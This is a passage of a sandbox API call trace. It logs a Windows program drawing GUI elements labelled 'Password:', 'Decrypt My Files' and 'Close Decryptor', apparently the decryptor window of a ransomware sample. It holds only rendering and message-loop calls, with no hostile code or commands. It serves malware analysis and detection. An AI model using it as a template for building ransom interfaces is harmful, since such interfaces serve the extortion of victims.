(region=0x691ec78, graphics=0x691e998, result=0x19e938) returned 0x0 [0157.006] GdipSaveGraphics (graphics=0x691e998, state=0x19e964) returned 0x0 [0157.006] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0157.006] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0157.006] GetSystemMetrics (nIndex=42) returned 0 [0157.006] GetWindowTextW (in: hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0157.006] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0157.006] GetClientRect (in: hWnd=0x10252, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0157.006] GdipCreateRegion (region=0x19e780) returned 0x0 [0157.006] GdipGetClip (graphics=0x691e998, region=0x6916098) returned 0x0 [0157.006] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0157.007] GdipGetWorldTransform (graphics=0x691e998, matrix=0x6915f38) returned 0x0 [0157.007] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0157.007] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf754b0 [0157.007] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf754b0) returned 0x0 [0157.007] LocalFree (hMem=0xf754b0) returned 0x0 [0157.007] GdipCombineRegionRegion (region=0x6916098, region2=0x691ec78, combineMode=0x1) returned 0x0 [0157.007] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf754b0 [0157.007] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf754b0) returned 0x0 [0157.007] LocalFree (hMem=0xf754b0) returned 0x0 [0157.007] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0157.007] GdipIsInfiniteRegion (region=0x6916098, graphics=0x691e998, result=0x19e7c0) returned 0x0 [0157.007] GdipIsInfiniteRegion (region=0x6916098, graphics=0x691e998, result=0x19e7b0) returned 0x0 [0157.007] GdipGetRegionHRgn (region=0x6916098, graphics=0x691e998, hRgn=0x19e7b0) returned 0x0 [0157.007] GdipDeleteRegion (region=0x6916098) returned 0x0 [0157.007] GdipGetDC (graphics=0x691e998, hdc=0x19e7c8) returned 0x0 [0157.007] GetCurrentObject (hdc=0x1d010738, type=0x1) returned 0xb00017 [0157.007] GetCurrentObject (hdc=0x1d010738, type=0x2) returned 0x900010 [0157.007] GetCurrentObject (hdc=0x1d010738, type=0x7) returned 0x6050721 [0157.007] GetCurrentObject (hdc=0x1d010738, type=0x6) returned 0x8a01c2 [0157.007] SaveDC (hdc=0x1d010738) returned 1 [0157.007] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x460406f7 [0157.007] GetClipRgn (hdc=0x1d010738, hrgn=0x460406f7) returned 0 [0157.007] SelectClipRgn (hdc=0x1d010738, hrgn=0xb50406fe) returned 2 [0157.007] DeleteObject (ho=0x460406f7) returned 1 [0157.008] DeleteObject (ho=0xb50406fe) returned 1 [0157.008] OffsetViewportOrgEx (in: hdc=0x1d010738, x=0, y=0, lppt=0x3015c7c | out: lppt=0x3015c7c) returned 1 [0157.008] GetNearestColor (hdc=0x1d010738, color=0x323533) returned 0x323533 [0157.008] CreateSolidBrush (color=0x323533) returned 0x10073a [0157.008] FillRect (hDC=0x1d010738, lprc=0x19e7cc, hbr=0x10073a) returned 1 [0157.008] DeleteObject (ho=0x10073a) returned 1 [0157.008] RestoreDC (hdc=0x1d010738, nSavedDC=-1) returned 1 [0157.008] GdipReleaseDC (graphics=0x691e998, hdc=0x1d010738) returned 0x0 [0157.008] GdipRestoreGraphics (graphics=0x691e998, state=0xfd710dbd) returned 0x0 [0157.008] GdipDeleteRegion (region=0x691ec78) returned 0x0 [0157.008] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0157.008] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0157.008] GetSystemMetrics (nIndex=42) returned 0 [0157.008] GetWindowTextW (in: hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0157.008] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0157.008] GdipGetDC (graphics=0x691e998, hdc=0x19e7e8) returned 0x0 [0157.008] GetCurrentObject (hdc=0x1d010738, type=0x1) returned 0xb00017 [0157.008] GdipReleaseDC (graphics=0x691e998, hdc=0x1d010738) returned 0x0 [0157.009] GdipGetTextRenderingHint (graphics=0x691e998, mode=0x19e788) returned 0x0 [0157.009] GdipGetDC (graphics=0x691e998, hdc=0x19e774) returned 0x0 [0157.009] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0157.009] SelectObject (hdc=0x1d010738, h=0x240a0712) returned 0x8a01c2 [0157.009] DrawTextExW (in: hdc=0x1d010738, lpchText="Password:", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x3016140 | out: lpchText="Password:", lprc=0x19e708) returned 63 [0157.020] GdipReleaseDC (graphics=0x691e998, hdc=0x1d010738) returned 0x0 [0157.020] GdipGetDC (graphics=0x691e998, hdc=0x19e924) returned 0x0 [0157.020] GdipReleaseDC (graphics=0x691e998, hdc=0x1d010738) returned 0x0 [0157.021] GdipDeleteGraphics (graphics=0x691e998) returned 0x0 [0157.021] EndPaint (hWnd=0x10252, lpPaint=0x19e8c8) returned 1 [0157.021] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.021] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.021] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.021] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.021] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.022] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.022] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.022] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.022] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.022] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.025] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.025] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.025] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.025] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.025] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.025] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.025] IsWindowUnicode (hWnd=0x10254) returned 1 [0157.025] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.025] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.025] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.025] BeginPaint (in: hWnd=0x10254, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0157.025] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.026] GetDIBits (in: hdc=0x1e0106e1, hbm=0x3c050720, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x19e3b0, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3b0) returned 1 [0157.027] GetDIBits (in: hdc=0x1e0106e1, hbm=0x3c050720, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x19e3b0, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3b0) returned 1 [0157.027] DeleteObject (ho=0x3c050720) returned 1 [0157.027] CreateDIBSection (in: hdc=0x1e0106e1, lpbmi=0x19e400, usage=0x0, ppvBits=0x19e8f4, hSection=0x0, offset=0x0 | out: ppvBits=0x19e8f4) returned 0x7050721 [0157.027] SelectObject (hdc=0x1f010738, h=0x7050721) returned 0x85000f [0157.027] GdipCreateFromHDC (hdc=0x1f010738, graphics=0x19e8d8) returned 0x0 [0157.027] GdipTranslateWorldTransform (graphics=0x691e998, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.027] GdipSetClipRectI (graphics=0x691e998, x=0, y=0, width=467, height=42, combineMode=0x0) returned 0x0 [0157.028] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0157.028] GdipGetWorldTransform (graphics=0x691e998, matrix=0x6915f08) returned 0x0 [0157.028] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e938) returned 0x0 [0157.028] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf754b0 [0157.028] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf754b0) returned 0x0 [0157.028] LocalFree (hMem=0xf754b0) returned 0x0 [0157.028] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.028] GdipCreateRegion (region=0x19e920) returned 0x0 [0157.028] GdipGetClip (graphics=0x691e998, region=0x691ec78) returned 0x0 [0157.028] GdipIsInfiniteRegion (region=0x691ec78, graphics=0x691e998, result=0x19e92c) returned 0x0 [0157.028] GdipSaveGraphics (graphics=0x691e998, state=0x19e958) returned 0x0 [0157.028] GdipRestoreGraphics (graphics=0x691e998, state=0xfd6f0dbd) returned 0x0 [0157.028] GdipDeleteRegion (region=0x691ec78) returned 0x0 [0157.028] GdipGetDC (graphics=0x691e998, hdc=0x19e660) returned 0x0 [0157.028] GetCurrentObject (hdc=0x1f010738, type=0x1) returned 0xb00017 [0157.028] GetCurrentObject (hdc=0x1f010738, type=0x2) returned 0x900010 [0157.028] GetCurrentObject (hdc=0x1f010738, type=0x7) returned 0x7050721 [0157.028] GetCurrentObject (hdc=0x1f010738, type=0x6) returned 0x8a01c2 [0157.028] SaveDC (hdc=0x1f010738) returned 1 [0157.028] GetNearestColor (hdc=0x1f010738, color=0x323533) returned 0x323533 [0157.028] GetNearestColor (hdc=0x1f010738, color=0x111111) returned 0x111111 [0157.028] GetNearestColor (hdc=0x1f010738, color=0x0) returned 0x0 [0157.029] GetNearestColor (hdc=0x1f010738, color=0x868c88) returned 0x868c88 [0157.029] GetNearestColor (hdc=0x1f010738, color=0x111111) returned 0x111111 [0157.029] GetNearestColor (hdc=0x1f010738, color=0x969c98) returned 0x969c98 [0157.029] GetNearestColor (hdc=0x1f010738, color=0x868c88) returned 0x868c88 [0157.029] GetNearestColor (hdc=0x1f010738, color=0x3c3f3d) returned 0x3c3f3d [0157.029] GetNearestColor (hdc=0x1f010738, color=0xc4c4c4) returned 0xc4c4c4 [0157.029] RestoreDC (hdc=0x1f010738, nSavedDC=-1) returned 1 [0157.029] GdipReleaseDC (graphics=0x691e998, hdc=0x1f010738) returned 0x0 [0157.029] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e6b4, fWinIni=0x0 | out: pvParam=0x19e6b4) returned 1 [0157.029] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0157.029] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0157.029] GdipGetFamilyName (in: family=0x57faee0, name=0x19e41c, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0157.029] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0157.029] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0157.029] CreateFontIndirectW (lplf=0xeead48) returned 0xc0a0739 [0157.029] CoTaskMemFree (pv=0xeead48) [0157.029] GetObjectW (in: h=0xc0a0739, c=92, pv=0x19e3e0 | out: pv=0x19e3e0) returned 92 [0157.030] DeleteObject (ho=0x480a06e6) returned 1 [0157.030] SelectObject (hdc=0x8e0106dd, h=0xc0a0739) returned 0x240a0712 [0157.030] GetMapMode (hdc=0x8e0106dd) returned 1 [0157.030] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e410 | out: lptm=0x19e410) returned 1 [0157.030] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Decrypt My Files", cchText=16, lprc=0x19e51c, format=0x102415, lpdtp=0x30177fc | out: lpchText="Decrypt My Files", lprc=0x19e51c) returned 28 [0157.051] GdipCreateRegion (region=0x19e5a4) returned 0x0 [0157.051] GdipGetClip (graphics=0x691e998, region=0x691ec78) returned 0x0 [0157.051] GdipCreateMatrix (matrix=0x19e5a4) returned 0x0 [0157.051] GdipGetWorldTransform (graphics=0x691e998, matrix=0x6915f38) returned 0x0 [0157.051] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e5bc) returned 0x0 [0157.051] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75a28 [0157.051] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf75a28) returned 0x0 [0157.051] LocalFree (hMem=0xf75a28) returned 0x0 [0157.051] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75520 [0157.051] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf75520) returned 0x0 [0157.051] LocalFree (hMem=0xf75520) returned 0x0 [0157.051] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0157.051] GdipIsInfiniteRegion (region=0x691ec78, graphics=0x691e998, result=0x19e5e4) returned 0x0 [0157.051] GdipIsInfiniteRegion (region=0x691ec78, graphics=0x691e998, result=0x19e5d4) returned 0x0 [0157.051] GdipGetRegionHRgn (region=0x691ec78, graphics=0x691e998, hRgn=0x19e5d4) returned 0x0 [0157.051] GdipDeleteRegion (region=0x691ec78) returned 0x0 [0157.052] GdipGetDC (graphics=0x691e998, hdc=0x19e5ec) returned 0x0 [0157.052] GetCurrentObject (hdc=0x1f010738, type=0x1) returned 0xb00017 [0157.052] GetCurrentObject (hdc=0x1f010738, type=0x2) returned 0x900010 [0157.052] GetCurrentObject (hdc=0x1f010738, type=0x7) returned 0x7050721 [0157.052] GetCurrentObject (hdc=0x1f010738, type=0x6) returned 0x8a01c2 [0157.052] SaveDC (hdc=0x1f010738) returned 1 [0157.052] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xb60406fe [0157.052] GetClipRgn (hdc=0x1f010738, hrgn=0xb60406fe) returned 0 [0157.052] SelectClipRgn (hdc=0x1f010738, hrgn=0x490406f7) returned 2 [0157.052] DeleteObject (ho=0xb60406fe) returned 1 [0157.052] DeleteObject (ho=0x490406f7) returned 1 [0157.052] OffsetViewportOrgEx (in: hdc=0x1f010738, x=0, y=0, lppt=0x30179ec | out: lppt=0x30179ec) returned 1 [0157.052] GetNearestColor (hdc=0x1f010738, color=0x323533) returned 0x323533 [0157.052] CreateSolidBrush (color=0x323533) returned 0x110073a [0157.052] FillRect (hDC=0x1f010738, lprc=0x19e5f0, hbr=0x110073a) returned 1 [0157.053] DeleteObject (ho=0x110073a) returned 1 [0157.053] RestoreDC (hdc=0x1f010738, nSavedDC=-1) returned 1 [0157.053] GdipReleaseDC (graphics=0x691e998, hdc=0x1f010738) returned 0x0 [0157.053] GdipGetTextRenderingHint (graphics=0x691e998, mode=0x19e668) returned 0x0 [0157.053] GdipGetDC (graphics=0x691e998, hdc=0x19e654) returned 0x0 [0157.053] GetCurrentObject (hdc=0x1f010738, type=0x1) returned 0xb00017 [0157.053] GetCurrentObject (hdc=0x1f010738, type=0x2) returned 0x900010 [0157.053] GetCurrentObject (hdc=0x1f010738, type=0x7) returned 0x7050721 [0157.053] GetCurrentObject (hdc=0x1f010738, type=0x6) returned 0x8a01c2 [0157.053] SaveDC (hdc=0x1f010738) returned 1 [0157.053] GetTextAlign (hdc=0x1f010738) returned 0x0 [0157.053] GetTextColor (hdc=0x1f010738) returned 0x0 [0157.054] SetTextColor (hdc=0x1f010738, color=0x111111) returned 0x0 [0157.054] GetCurrentObject (hdc=0x1f010738, type=0x6) returned 0x8a01c2 [0157.054] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e39c | out: pv=0x19e39c) returned 92 [0157.054] SelectObject (hdc=0x1f010738, h=0xc0a0739) returned 0x8a01c2 [0157.054] GetBkMode (hdc=0x1f010738) returned 2 [0157.054] SetBkMode (hdc=0x1f010738, mode=1) returned 2 [0157.054] DrawTextExW (in: hdc=0x1f010738, lpchText="Decrypt My Files", cchText=16, lprc=0x19e484, format=0x102415, lpdtp=0x3017ca8 | out: lpchText="Decrypt My Files", lprc=0x19e484) returned 28 [0157.054] DrawTextExW (in: hdc=0x1f010738, lpchText="Decrypt My Files", cchText=16, lprc=0x19e5e8, format=0x102015, lpdtp=0x3017ca8 | out: lpchText="Decrypt My Files", lprc=0x19e5e8) returned 28 [0157.057] RestoreDC (hdc=0x1f010738, nSavedDC=-1) returned 1 [0157.057] GdipReleaseDC (graphics=0x691e998, hdc=0x1f010738) returned 0x0 [0157.057] GetFocus () returned 0x30212 [0157.057] GdipCreatePen1 (color=0xff007acc, width=0x3f800000, unit=0x0, pen=0x19e6d0) returned 0x0 [0157.057] GdipDrawRectangleI (graphics=0x691e998, pen=0x6915e78, x=0, y=0, width=466, height=41) returned 0x0 [0157.057] GdipDeletePen (pen=0x6915e78) returned 0x0 [0157.057] GdipGetDC (graphics=0x691e998, hdc=0x19e918) returned 0x0 [0157.057] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=467, cy=42, hdcSrc=0x1f010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.057] GdipReleaseDC (graphics=0x691e998, hdc=0x1f010738) returned 0x0 [0157.058] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0157.058] SelectObject (hdc=0x1f010738, h=0x85000f) returned 0x7050721 [0157.058] DeleteDC (hdc=0x1f010738) returned 1 [0157.058] GdipDeleteGraphics (graphics=0x691e998) returned 0x0 [0157.058] EndPaint (hWnd=0x10254, lpPaint=0x19e8bc) returned 1 [0157.058] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.058] IsWindowUnicode (hWnd=0x30212) returned 1 [0157.058] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.058] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.058] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.058] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x60100ce [0157.058] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.058] CreateCompatibleDC (hdc=0x60100ce) returned 0x21010738 [0157.058] SelectObject (hdc=0x21010738, h=0x7050721) returned 0x85000f [0157.059] GdipCreateFromHDC (hdc=0x21010738, graphics=0x19e8d8) returned 0x0 [0157.059] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.059] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0157.059] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0157.059] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0157.059] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e938) returned 0x0 [0157.059] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf758a0 [0157.059] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf758a0) returned 0x0 [0157.059] LocalFree (hMem=0xf758a0) returned 0x0 [0157.059] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.059] GdipCreateRegion (region=0x19e920) returned 0x0 [0157.059] GdipGetClip (graphics=0x691e928, region=0x691ee18) returned 0x0 [0157.059] GdipIsInfiniteRegion (region=0x691ee18, graphics=0x691e928, result=0x19e92c) returned 0x0 [0157.059] GdipSaveGraphics (graphics=0x691e928, state=0x19e958) returned 0x0 [0157.059] GdipRestoreGraphics (graphics=0x691e928, state=0xfd6d0dbd) returned 0x0 [0157.059] GdipDeleteRegion (region=0x691ee18) returned 0x0 [0157.059] GdipGetDC (graphics=0x691e928, hdc=0x19e708) returned 0x0 [0157.059] GetCurrentObject (hdc=0x21010738, type=0x1) returned 0xb00017 [0157.059] GetCurrentObject (hdc=0x21010738, type=0x2) returned 0x900010 [0157.059] GetCurrentObject (hdc=0x21010738, type=0x7) returned 0x7050721 [0157.059] GetCurrentObject (hdc=0x21010738, type=0x6) returned 0x8a01c2 [0157.059] SaveDC (hdc=0x21010738) returned 1 [0157.059] GetNearestColor (hdc=0x21010738, color=0x323533) returned 0x323533 [0157.060] GetNearestColor (hdc=0x21010738, color=0x111111) returned 0x111111 [0157.060] GetNearestColor (hdc=0x21010738, color=0x0) returned 0x0 [0157.060] GetNearestColor (hdc=0x21010738, color=0x868c88) returned 0x868c88 [0157.060] GetNearestColor (hdc=0x21010738, color=0x6994f5) returned 0x6994f5 [0157.060] GetNearestColor (hdc=0x21010738, color=0x969c98) returned 0x969c98 [0157.060] GetNearestColor (hdc=0x21010738, color=0x868c88) returned 0x868c88 [0157.060] GetNearestColor (hdc=0x21010738, color=0x3c3f3d) returned 0x3c3f3d [0157.060] GetNearestColor (hdc=0x21010738, color=0x6994f5) returned 0x6994f5 [0157.060] RestoreDC (hdc=0x21010738, nSavedDC=-1) returned 1 [0157.060] GdipReleaseDC (graphics=0x691e928, hdc=0x21010738) returned 0x0 [0157.060] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0xc0a0739 [0157.060] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e5c4, format=0x102415, lpdtp=0x30181a4 | out: lpchText="Close Decryptor", lprc=0x19e5c4) returned 60 [0157.060] GdipCreateRegion (region=0x19e64c) returned 0x0 [0157.061] GdipGetClip (graphics=0x691e928, region=0x691ee18) returned 0x0 [0157.061] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0157.061] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f38) returned 0x0 [0157.061] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e664) returned 0x0 [0157.061] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75520 [0157.061] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf75520) returned 0x0 [0157.061] LocalFree (hMem=0xf75520) returned 0x0 [0157.061] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75520 [0157.061] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf75520) returned 0x0 [0157.061] LocalFree (hMem=0xf75520) returned 0x0 [0157.061] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0157.061] GdipIsInfiniteRegion (region=0x691ee18, graphics=0x691e928, result=0x19e68c) returned 0x0 [0157.061] GdipIsInfiniteRegion (region=0x691ee18, graphics=0x691e928, result=0x19e67c) returned 0x0 [0157.061] GdipGetRegionHRgn (region=0x691ee18, graphics=0x691e928, hRgn=0x19e67c) returned 0x0 [0157.061] GdipDeleteRegion (region=0x691ee18) returned 0x0 [0157.061] GdipGetDC (graphics=0x691e928, hdc=0x19e694) returned 0x0 [0157.061] GetCurrentObject (hdc=0x21010738, type=0x1) returned 0xb00017 [0157.061] GetCurrentObject (hdc=0x21010738, type=0x2) returned 0x900010 [0157.061] GetCurrentObject (hdc=0x21010738, type=0x7) returned 0x7050721 [0157.061] GetCurrentObject (hdc=0x21010738, type=0x6) returned 0x8a01c2 [0157.061] SaveDC (hdc=0x21010738) returned 1 [0157.062] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4a0406f7 [0157.062] GetClipRgn (hdc=0x21010738, hrgn=0x4a0406f7) returned 0 [0157.062] SelectClipRgn (hdc=0x21010738, hrgn=0xba0406fe) returned 2 [0157.062] DeleteObject (ho=0x4a0406f7) returned 1 [0157.062] DeleteObject (ho=0xba0406fe) returned 1 [0157.062] OffsetViewportOrgEx (in: hdc=0x21010738, x=0, y=0, lppt=0x3018394 | out: lppt=0x3018394) returned 1 [0157.062] GetNearestColor (hdc=0x21010738, color=0x3c3f3d) returned 0x3c3f3d [0157.062] CreateSolidBrush (color=0x3c3f3d) returned 0x210073a [0157.062] FillRect (hDC=0x21010738, lprc=0x19e698, hbr=0x210073a) returned 1 [0157.064] DeleteObject (ho=0x210073a) returned 1 [0157.064] RestoreDC (hdc=0x21010738, nSavedDC=-1) returned 1 [0157.064] GdipReleaseDC (graphics=0x691e928, hdc=0x21010738) returned 0x0 [0157.064] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e710) returned 0x0 [0157.064] GdipGetDC (graphics=0x691e928, hdc=0x19e6fc) returned 0x0 [0157.064] GetCurrentObject (hdc=0x21010738, type=0x1) returned 0xb00017 [0157.064] GetCurrentObject (hdc=0x21010738, type=0x2) returned 0x900010 [0157.064] GetCurrentObject (hdc=0x21010738, type=0x7) returned 0x7050721 [0157.064] GetCurrentObject (hdc=0x21010738, type=0x6) returned 0x8a01c2 [0157.064] SaveDC (hdc=0x21010738) returned 1 [0157.064] GetTextAlign (hdc=0x21010738) returned 0x0 [0157.064] GetTextColor (hdc=0x21010738) returned 0x0 [0157.064] SetTextColor (hdc=0x21010738, color=0x6994f5) returned 0x0 [0157.064] GetCurrentObject (hdc=0x21010738, type=0x6) returned 0x8a01c2 [0157.064] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0157.064] SelectObject (hdc=0x21010738, h=0x110a0722) returned 0x8a01c2 [0157.065] GetBkMode (hdc=0x21010738) returned 2 [0157.065] SetBkMode (hdc=0x21010738, mode=1) returned 2 [0157.065] DrawTextExW (in: hdc=0x21010738, lpchText="Close Decryptor", cchText=15, lprc=0x19e52c, format=0x102415, lpdtp=0x3018650 | out: lpchText="Close Decryptor", lprc=0x19e52c) returned 60 [0157.065] DrawTextExW (in: hdc=0x21010738, lpchText="Close Decryptor", cchText=15, lprc=0x19e690, format=0x102015, lpdtp=0x3018650 | out: lpchText="Close Decryptor", lprc=0x19e690) returned 60 [0157.066] RestoreDC (hdc=0x21010738, nSavedDC=-1) returned 1 [0157.066] GdipReleaseDC (graphics=0x691e928, hdc=0x21010738) returned 0x0 [0157.066] GetFocus () returned 0x30212 [0157.066] GetFocus () returned 0x30212 [0157.066] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0157.066] GdipDrawRectangleI (graphics=0x691e928, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0157.066] GdipDeletePen (pen=0x6915e78) returned 0x0 [0157.066] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0157.066] GdipDrawRectangleI (graphics=0x691e928, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0157.066] GdipDeletePen (pen=0x6915e78) returned 0x0 [0157.066] GdipGetDC (graphics=0x691e928, hdc=0x19e918) returned 0x0 [0157.066] BitBlt (hdc=0x60100ce, x=0, y=0, cx=178, cy=111, hdcSrc=0x21010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.066] GdipReleaseDC (graphics=0x691e928, hdc=0x21010738) returned 0x0 [0157.066] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0157.067] SelectObject (hdc=0x21010738, h=0x85000f) returned 0x7050721 [0157.067] DeleteDC (hdc=0x21010738) returned 1 [0157.067] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0157.067] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0157.067] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.067] IsWindowUnicode (hWnd=0x2022a) returned 1 [0157.067] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.067] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.067] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0157.067] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0157.067] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0157.067] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0157.067] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0157.067] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0157.069] PeekMessageW (in: 